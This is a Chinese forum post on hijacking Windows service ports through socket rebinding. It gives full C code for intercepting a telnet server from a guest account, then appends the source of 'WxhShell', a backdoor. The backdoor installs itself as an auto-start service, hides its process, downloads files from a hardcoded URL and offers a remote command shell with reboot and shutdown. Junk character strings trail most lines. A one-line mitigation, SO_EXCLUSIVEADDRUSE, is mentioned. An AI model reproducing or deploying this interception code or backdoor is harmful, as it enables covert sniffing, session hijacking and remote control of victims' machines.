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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: s"gKonwI2  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <;.}WQC  
S;G"L$&\  
  saddr.sin_family = AF_INET; w`2_6[,9  
w?*'vF_2:#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 3ytx"=B%  
_ +u sn.  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ' h0\4eu  
+<vqkc  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Z%(Df3~gmm  
EVby 9!  
  这意味着什么?意味着可以进行如下的攻击: B`t)rBy  
f[w jur  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 zSX'  
hPNQGVv  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Y,p2eAss  
xV }:M  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 C{U[w^X  
Zi15wE  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  m7bn%j-{$f  
hvwnG>m\  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }Etd#">  
l[ZQ7$kL  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 t\E-6u  
!ds"88:5^  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6jQ&dN{=qB  
&z 1|  
  #include Hj-<{#,  
  #include wjw<@A9  
  #include FN8=YUYK%  
  #include    3<Pyr-z h  
  DWORD WINAPI ClientThread(LPVOID lpParam);   h|Teh-@A5  
  int main() rA>A=,  
  { .jrR4@  
  WORD wVersionRequested; e2_r0I^C  
  DWORD ret; 6kmZ!9w0|  
  WSADATA wsaData; e{#a{`?Uez  
  BOOL val; 6>P  
  SOCKADDR_IN saddr; EzeDShN=J  
  SOCKADDR_IN scaddr; [f0oB$  
  int err; !Sr0Im0  
  SOCKET s; LgD{!  
  SOCKET sc; !EyGJa[ i  
  int caddsize; +p%5/ smfs  
  HANDLE mt; A(!ZZ9 Wc  
  DWORD tid;   d >wmg*J  
  wVersionRequested = MAKEWORD( 2, 2 ); ?AM 8*w  
  err = WSAStartup( wVersionRequested, &wsaData ); HK,G8:T  
  if ( err != 0 ) { 3T.M?UG>  
  printf("error!WSAStartup failed!\n"); DRFuvU+e  
  return -1; dp%pbn6w  
  } }i/2XmA )  
  saddr.sin_family = AF_INET; fuIv,lDA  
   :6Pc m3  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1RUbY>K#U  
M b /X@51  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Lb3K};SIV  
  saddr.sin_port = htons(23); 3I{ta/(  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) o- e,  
  { O%q;,w{prW  
  printf("error!socket failed!\n"); )DZ-vnZ#t0  
  return -1; (gJ )]/n  
  } bQ\-6dOtv  
  val = TRUE; 4\eX=~C>:  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 lVp~oZC6[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) RNrYT|  
  { MnrGD>M@|  
  printf("error!setsockopt failed!\n"); ?GD? J(S  
  return -1; .0*CT:1=0  
  } >7Sl( UY-  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; UEYM;$_@4o  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 kI[O{<kQ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "6o}qeB l  
r(2'0JQ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) LXfeXWw?,  
  { !7a^8   
  ret=GetLastError(); 'LLQ[JJ=O  
  printf("error!bind failed!\n"); "qP^uno  
  return -1; -O> mY)  
  } qLi1yH  
  listen(s,2); `6/Yf@b  
  while(1) $^D(%  
  { <{xAvN( :  
  caddsize = sizeof(scaddr); Xgth|C}k  
  //接受连接请求 41Q   
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Y l3[~S  
  if(sc!=INVALID_SOCKET)  |ukdn2Q  
  { ?;#3U5$v  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~JRu MP  
  if(mt==NULL) uV$d7(N}"  
  { IEr`6|X  
  printf("Thread Creat Failed!\n"); ].T;x|  
  break; "91At b;hJ  
  } =28H^rK{  
  } 1eyyu!  
  CloseHandle(mt); BG?2PO{  
  } h _7;UQH  
  closesocket(s); KA{DN!  
  WSACleanup(); GvtI-\h]  
  return 0; V5@[7ncVf  
  }   ue:P#] tx  
  DWORD WINAPI ClientThread(LPVOID lpParam) #V,~d&_k  
  { j#>![km Mu  
  SOCKET ss = (SOCKET)lpParam; )"3oe ?  
  SOCKET sc; ^V,/4u  
  unsigned char buf[4096]; E6-(q!"A  
  SOCKADDR_IN saddr; ?,e:c XhE2  
  long num; Bv]wHPun  
  DWORD val; Y},GZ^zqy  
  DWORD ret; Y'H/ $M N  
  //如果是隐藏端口应用的话,可以在此处加一些判断 xdU pp~}+.  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   3rdxXmx  
  saddr.sin_family = AF_INET; T q; "_s  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); v%~ViOgL\  
  saddr.sin_port = htons(23); |nZB/YZt  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _p2<7x i   
  { Y +yvv{01  
  printf("error!socket failed!\n"); m]}"FMH$  
  return -1; N$\5%  
  } Z5a@fWU  
  val = 100; <).qe Z  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `a-T95IFy  
  { z :jF) N  
  ret = GetLastError(); 8/$iCW  
  return -1; J` --O(8Ml  
  } ]H'82a  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) F9J9pgVP  
  { .Tqvy)'  
  ret = GetLastError(); #@"rp]1xv  
  return -1; *!s?hHv  
  } SFNd,(kB*z  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) {v/6|  
  { / hdl  
  printf("error!socket connect failed!\n"); <Py/uF|  
  closesocket(sc); ew['9  
  closesocket(ss); e1}0f8%  
  return -1; mU>* NP(L  
  } _JO @O^Ndd  
  while(1) w~?eX/;  
  { SP1oBR"3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 t ?'/KL  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 O~]G(TMs8W  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 e2ZUl` {g  
  num = recv(ss,buf,4096,0); D+PUi!  
  if(num>0) /! G0 g%k  
  send(sc,buf,num,0); V7i`vo3Cc  
  else if(num==0) _I5+o\;1  
  break; :?W:'% (`[  
  num = recv(sc,buf,4096,0); Hf|:A(vCx  
  if(num>0)  Vp4]  
  send(ss,buf,num,0); lI<8)42yq  
  else if(num==0) <2A'   
  break; K6hN N$F!  
  } d_B5@9e#  
  closesocket(ss); t4uxon  
  closesocket(sc); &>t1A5  
  return 0 ; `"4EE}eQc  
  } .?:~s8kB  
nzDY!Y  
Z`M Q+  
========================================================== )}5r s  
`r Ql{$9IC  
下边附上一个代码,,WXhSHELL XE\bZc  
"rJL ^ \r  
========================================================== Vtri"G8 aB  
<0}'#9>O  
#include "stdafx.h" i[J',  
j]^]p; An  
#include <stdio.h> [%:NR  
#include <string.h> cKAl 0_[f"  
#include <windows.h> =h{2!Ah7 X  
#include <winsock2.h> dGjvSK<1@  
#include <winsvc.h> TH VF@@q  
#include <urlmon.h> .jw)e!<\N  
SYx)!n6U  
#pragma comment (lib, "Ws2_32.lib") !2}Q9a  
#pragma comment (lib, "urlmon.lib") 4F?1,-X  
;k]pq4E  
#define MAX_USER   100 // 最大客户端连接数 hRu%> =7  
#define BUF_SOCK   200 // sock buffer Vy $\.2=  
#define KEY_BUFF   255 // 输入 buffer ok'1  
LX'US-B.!  
#define REBOOT     0   // 重启 P2kZi=0  
#define SHUTDOWN   1   // 关机 1;V5b+b  
DGnswN%n1  
#define DEF_PORT   5000 // 监听端口 rOGJ%|%(  
sM K/l @7  
#define REG_LEN     16   // 注册表键长度 I(4k{=\ph]  
#define SVC_LEN     80   // NT服务名长度 /^"TMm   
;z#9>99rH  
// 从dll定义API sh 1fz 6g  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |%}?*|-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); L~~aW0,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ` {p5SYj  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .IgQn|N  
frt?*|:  
// wxhshell配置信息 =Ao;[j)*!  
struct WSCFG { U Lq%,ca  
  int ws_port;         // 监听端口 6~s,j({^  
  char ws_passstr[REG_LEN]; // 口令 '%,Re-8O  
  int ws_autoins;       // 安装标记, 1=yes 0=no =|V3cM4'  
  char ws_regname[REG_LEN]; // 注册表键名 ~oI49Q&{  
  char ws_svcname[REG_LEN]; // 服务名 lMP7o&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 v|xlI4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ntT| G0E  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 C+Z"0\{o  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gM8eO-d  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <}=D?bXw  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Am0$UeSZ  
 >Pu*MD;  
}; 5^k#fl2  
DEBgb  
// default Wxhshell configuration tv0xfAV  
struct WSCFG wscfg={DEF_PORT, 1\2 m'o  
    "xuhuanlingzhe", z(ajR*\#  
    1, 3 R m$  
    "Wxhshell", ;Cwn1N9S  
    "Wxhshell", IO+z:D{  
            "WxhShell Service", &+ IXDU  
    "Wrsky Windows CmdShell Service", QqDF_  
    "Please Input Your Password: ", h\5 7t@A  
  1, -nW{$&5AF  
  "http://www.wrsky.com/wxhshell.exe", Q*wx6Pu8  
  "Wxhshell.exe" H Ow hl  
    }; JsC0^A;fM  
8WH>  
// 消息定义模块 y|aWUX/a  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zt8ZJlNK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %tMfOW  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; B}Qo8i7 z  
char *msg_ws_ext="\n\rExit."; z7CYYU?  
char *msg_ws_end="\n\rQuit."; I}:/v$btM  
char *msg_ws_boot="\n\rReboot..."; M]W4S4&Y=  
char *msg_ws_poff="\n\rShutdown..."; `>*P(yIN  
char *msg_ws_down="\n\rSave to "; $$4% .J26Z  
L/ZZe5I  
char *msg_ws_err="\n\rErr!"; CR/LV]G  
char *msg_ws_ok="\n\rOK!"; V$@2:@8mo  
RHxd6Gs"  
char ExeFile[MAX_PATH]; s(dox; d  
int nUser = 0; ~$@I <=L  
HANDLE handles[MAX_USER]; *cd9[ ~  
int OsIsNt; (*EN!-/  
~$cw]R58,9  
SERVICE_STATUS       serviceStatus; [`&cA#C9Yp  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  LKm5U6  
e0q a ~5  
// 函数声明 AkF1Hj  
int Install(void); V6!oe^a7'  
int Uninstall(void); 5!Guf?i  
int DownloadFile(char *sURL, SOCKET wsh); ^,X+ n5q;m  
int Boot(int flag); H1w;Wb1se  
void HideProc(void); LP87X-qkjW  
int GetOsVer(void); v|hi;l@7E  
int Wxhshell(SOCKET wsl); (]pQ.3  
void TalkWithClient(void *cs); \C L`j  
int CmdShell(SOCKET sock); 2|T@  
int StartFromService(void); u/MIB`@,  
int StartWxhshell(LPSTR lpCmdLine); _E~uuFMn*R  
BYGLYT;Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7fVVU+y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); C>;}CH|X  
M,9WF)p)V  
// 数据结构和表定义 _x lgsa  
SERVICE_TABLE_ENTRY DispatchTable[] = .-r 1.'.A  
{ T}zi P  
{wscfg.ws_svcname, NTServiceMain}, WcdU fv(>  
{NULL, NULL} Jn&(v"_  
}; l +#`  
7(oxmv}#Q  
// 自我安装  *Vc}W  
int Install(void) P }PSS#nn  
{ d BJM?/  
  char svExeFile[MAX_PATH]; aH:eu<s  
  HKEY key; gC'GZi^  
  strcpy(svExeFile,ExeFile); )~Q$ tM`  
~r{Nc j  
// 如果是win9x系统,修改注册表设为自启动 G1D(-X4ALZ  
if(!OsIsNt) { j\ )Qn 2r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X4o8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =\q3;5[  
  RegCloseKey(key); "z qt'b0bW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h\yYg'CC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); osnDW aN  
  RegCloseKey(key); ch-GmAj 9  
  return 0; Sw0~6RZ  
    } vzVl2  
  } Pukq{/27  
} Wima=xYe\5  
else { Z(V 4"x7F  
rVz#;d!`z  
// 如果是NT以上系统,安装为系统服务 c  xX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <|.M]]}j  
if (schSCManager!=0) No[>1]ds  
{ J${wU @_ %  
  SC_HANDLE schService = CreateService f+)F-3  
  ( 7%0PsF _  
  schSCManager, l lQ<x  
  wscfg.ws_svcname, 7%o\O{,U  
  wscfg.ws_svcdisp, 94n,13  
  SERVICE_ALL_ACCESS, s(zG.7*3n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )`L!eN  
  SERVICE_AUTO_START, B^KC~W  
  SERVICE_ERROR_NORMAL, haY.rH]z  
  svExeFile, j| 257D  
  NULL, Q:%gJ6pa  
  NULL, ny#7iz/  
  NULL, 6~}=? sX4  
  NULL, $ biCm$a  
  NULL 1tD4 I  
  ); D F0~A  
  if (schService!=0) b7=]"|c$@  
  { i8 dv|oa  
  CloseServiceHandle(schService); Um*{~=;u  
  CloseServiceHandle(schSCManager); $o-s?";  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g6nBu  
  strcat(svExeFile,wscfg.ws_svcname); =m:0#&t,*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S c@g;+#QU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;N i+TS  
  RegCloseKey(key); ^gNAGQYA  
  return 0; :^px1  
    } YKj7~yK?  
  } 6n<:ph,h;  
  CloseServiceHandle(schSCManager); PF4Cs3m/  
} P hn&hRAO  
} m,Os$>{Ok  
_ 57m] ;&  
return 1; qA&N6`  
} '%)7%O,2  
cl^tX%  
// 自我卸载 c6Wy1d^  
int Uninstall(void) N=-hXgX^  
{ UiW( /L  
  HKEY key; )(y&U  
bp;)*  
if(!OsIsNt) { N!$y`nwiw'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IaN|S|n~  
  RegDeleteValue(key,wscfg.ws_regname); ,p0R 4gi  
  RegCloseKey(key); /G\-v2iD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %  &{>oEQ  
  RegDeleteValue(key,wscfg.ws_regname); trg+" )a  
  RegCloseKey(key); pbAQf3  
  return 0; *O+YhoR?  
  } ,HR~oT^  
} K+PzTGWq^  
} q1Ah!9B  
else { N#Y4nllJ  
~M+|g4W%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _ 4pBJOJQ6  
if (schSCManager!=0) CShVJ:u+K\  
{ R )ejIKtY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); par $0z/  
  if (schService!=0) %I[(`nb  
  { .-fJ\`^mi  
  if(DeleteService(schService)!=0) { k$# @_  
  CloseServiceHandle(schService); #;>J<>  
  CloseServiceHandle(schSCManager); uB0/H=<H  
  return 0; y~''r%]   
  } NSj}?hz  
  CloseServiceHandle(schService); g,mcxXO  
  } ~%(r47n  
  CloseServiceHandle(schSCManager); 61b,+'-  
} ,.G6c=pZ  
} `dMl5b  
cKdy)T%;  
return 1; ~cQP4 kBD]  
} i$$\}2m{L  
>\[sNCkf  
// 从指定url下载文件 ^o65sM  
int DownloadFile(char *sURL, SOCKET wsh) wE;??'O'l  
{ @C7#xGD  
  HRESULT hr; ,NPU0IDG>  
char seps[]= "/"; KhYGiVA  
char *token; cBiv=!n  
char *file; On d"Eq=r  
char myURL[MAX_PATH]; R2Lq,(@-  
char myFILE[MAX_PATH]; 9kWyO:a_(  
f!eC|:D  
strcpy(myURL,sURL); pNCk~OM  
  token=strtok(myURL,seps); !JJCG  
  while(token!=NULL) ey@y?X=  
  { 2j*\n|"}{  
    file=token; tihb38gE  
  token=strtok(NULL,seps); X Oc0j9Oa  
  } *!Vic#D%  
,H[-.}OO  
GetCurrentDirectory(MAX_PATH,myFILE); L*Xn!d%  
strcat(myFILE, "\\"); m},nKsO  
strcat(myFILE, file); @| qnD  
  send(wsh,myFILE,strlen(myFILE),0); w[UPoG #Uh  
send(wsh,"...",3,0); ;Hv#SRSz  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /<Zy-+3  
  if(hr==S_OK) v5RS<?o  
return 0; _LxV)  
else Yk6fr~b  
return 1; 's(0>i  
>5i1M^g(  
} m%'9zL c  
HkGzyDt  
// 系统电源模块 g=:%j5?.e  
int Boot(int flag) jrvhTej  
{ )j]S ;Mr  
  HANDLE hToken; Lb{~a_c  
  TOKEN_PRIVILEGES tkp; m{I_E G  
6^s]2mMfk  
  if(OsIsNt) { Z#3wMK~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); fZ 17  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yAi#Y3!::  
    tkp.PrivilegeCount = 1; p$0;~1vH  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; j+88J  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); f8 B*D4R}  
if(flag==REBOOT) { XK{`x<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) sbQmPV  
  return 0; RT F9;]Ti  
} Z[slN5]([  
else { vWXj6}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) sO~N2  
  return 0; 1W "9u   
} JU1U=Lu."  
  } _Oh;._PS  
  else { _|g(BK2}  
if(flag==REBOOT) { Xa Yx avq  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) iEsI  
  return 0; 8n,i5>!d  
} Z"mpE+U*  
else { h,\^Sb5AP  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) pIqPIuy  
  return 0; 1e _V@Vy  
} 7'xT)~*$4  
} 7"Zr:|$U  
e*jn7aya  
return 1; ]9]3=;b>  
} ghx8dX}  
lva]jh2  
// win9x进程隐藏模块 );@@>~  
void HideProc(void) @|j`I1r.A  
{ :nd }e  
Z>Rd6o'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Mw\/gm_3  
  if ( hKernel != NULL ) {o*ziZh  
  { R5H UgI  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); v}M, M&?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); G$x uHHZ'  
    FreeLibrary(hKernel); d_QHm;}Cx  
  } 6<(HT#=#  
.[+8D=  
return; mRW(]OFIai  
} GLv}|>W  
tV[?WA[xt  
// 获取操作系统版本 tkR^dC  
int GetOsVer(void) FJ!N)`[  
{ AA^3P?iD  
  OSVERSIONINFO winfo; QtW5; A-h  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /ZvNgaH5M  
  GetVersionEx(&winfo); Iu[^"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6aX m9 J  
  return 1;  /d0LD  
  else ahhVl=9/ao  
  return 0; 7Aq4YjbX  
} ]zhFFq`  
^pKC0E[%  
// 客户端句柄模块 o{ f n}  
int Wxhshell(SOCKET wsl) X:j&+d2g0/  
{ ?P4`  
  SOCKET wsh; jQ4Pv`  
  struct sockaddr_in client; =3a`NO5!  
  DWORD myID; H) m!)=\'  
nR!qolh  
  while(nUser<MAX_USER) ) ok_"wB  
{ tJ&S&[}  
  int nSize=sizeof(client); H_o<!YxK  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Oa$ ew'  
  if(wsh==INVALID_SOCKET) return 1; IgLP=mqcWK  
gA`/t e  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _0oZgt)  
if(handles[nUser]==0) Ud*.[GRD~  
  closesocket(wsh); c42p>}P[  
else JLT':e~PX  
  nUser++; "3Ag+>tuRW  
  } [ j1SX-NX  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7`~h'(k  
KG4~t=J`  
  return 0; ;k (}~_  
} [ }jSx]  
WN?!(r<qA_  
// 关闭 socket oQjh?vm  
void CloseIt(SOCKET wsh) '"GdO;}&  
{ }]=b%CPJh+  
closesocket(wsh); f|m.v +7k  
nUser--; jQ%}e"  
ExitThread(0); ! r.X.C  
} cd) <t8^KE  
(xG#D;M0  
// 客户端请求句柄 85w D<bN27  
void TalkWithClient(void *cs) |uj1T=ZY  
{ QI0ARdS  
!}l)okQH<#  
  SOCKET wsh=(SOCKET)cs; IN , @  
  char pwd[SVC_LEN]; BXZ( %tnY  
  char cmd[KEY_BUFF]; P]yER9'  
char chr[1]; '/z.\S  
int i,j; FT[wa-b  
TG{=~2  
  while (nUser < MAX_USER) { zp% MK+x  
D7sw;{ns  
if(wscfg.ws_passstr) { G?<L{J2"Q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W=GNo9:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Dr7,>Yx  
  //ZeroMemory(pwd,KEY_BUFF); Y 0$m~}j  
      i=0; bsP:tFw>  
  while(i<SVC_LEN) { 0=t_ a]+  
AH`tkPd  
  // 设置超时 I"Ju3o?u  
  fd_set FdRead; &{Uaa  
  struct timeval TimeOut; dQ/Xs.8  
  FD_ZERO(&FdRead); K4,VSy1byI  
  FD_SET(wsh,&FdRead); i:qc2#O:J  
  TimeOut.tv_sec=8; BL]!j#''KE  
  TimeOut.tv_usec=0; yoGE#+|7^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vQc>jmS+n  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |os2@G$  
xot q$r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M}(4>W  
  pwd=chr[0]; QTcngv[  
  if(chr[0]==0xd || chr[0]==0xa) { B&-;w_K  
  pwd=0; D 67H56[  
  break; ?#,\,  
  } \<i#Jn+)  
  i++; 14s+ &  
    } 0EPF; Xx  
\n`UkxZn+  
  // 如果是非法用户,关闭 socket gRSM~<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C UlANd"  
} T/-PSfbkj  
o"7,CQye  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |+suGqo  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  by>,h4  
G5TdAW  
while(1) { Nf<([8v;t  
OWtN=Gk  
  ZeroMemory(cmd,KEY_BUFF); XfViLBY( >  
C [=/40D  
      // 自动支持客户端 telnet标准   ZSKk*<=  
  j=0; &|/C*2A  
  while(j<KEY_BUFF) { /3FC@?l w4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5IVASqYp  
  cmd[j]=chr[0]; r[EN`AxDb  
  if(chr[0]==0xa || chr[0]==0xd) { <0JW[m  
  cmd[j]=0; <9\_b 6  
  break; zh*NRN  
  } hh:0m\@<  
  j++; Gx'mVC"{  
    } 2=["jP!B  
KhXW5hS1  
  // 下载文件 X+P3a/T  
  if(strstr(cmd,"http://")) { ;2#7"a^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); W5J"#^kdF8  
  if(DownloadFile(cmd,wsh)) axXA y5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *!C^L"i  
  else .6e5w1r63  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vlEd=H,LT  
  } Vu~mi%UH  
  else { #FTXy>W  
M={k4r_t  
    switch(cmd[0]) { <:RU,  
  >jN)9}3>-#  
  // 帮助 i` Lt=)@&  
  case '?': { lYQcQ*-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %8S!l;\H5  
    break; 4V43(G  
  } VNXB7#ry  
  // 安装 MJ}VNv|S  
  case 'i': { Bk?MF6  
    if(Install()) ',J3^h!b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h7gH4L!'u  
    else -2% [ ]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K V  4>(  
    break; vERsrg;(  
    } z'fGHiX7.0  
  // 卸载 HbZ3QWP  
  case 'r': { Dc #iM0  
    if(Uninstall()) //V?rs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $Iqt c)DA  
    else h r*KDT^!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )WKe,:C  
    break; 3YA !2  
    } ")x9A&p  
  // 显示 wxhshell 所在路径 E$smr\  
  case 'p': { VpTp*[8O  
    char svExeFile[MAX_PATH]; i1|-  
    strcpy(svExeFile,"\n\r"); NpH)K:$#%  
      strcat(svExeFile,ExeFile); *K-,<hJ#L  
        send(wsh,svExeFile,strlen(svExeFile),0); 1)%9h>F7  
    break; X#+A?>Z]}<  
    }  BX+-KvT  
  // 重启 1Voo($q.  
  case 'b': { u8-)LOf(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {9'"!fH  
    if(Boot(REBOOT)) 9Z7o?S";  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U:YT>U1Z  
    else { r(i<H%"Z  
    closesocket(wsh); Gh42qar`  
    ExitThread(0); ?Mji'ZW}  
    } Hdj0! bUx  
    break; ]!h%Jlu  
    } hMi!H.EX.  
  // 关机 +>c)5Jih  
  case 'd': { 3vVhE,1N  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ROQk^  
    if(Boot(SHUTDOWN)) `^ F'af  
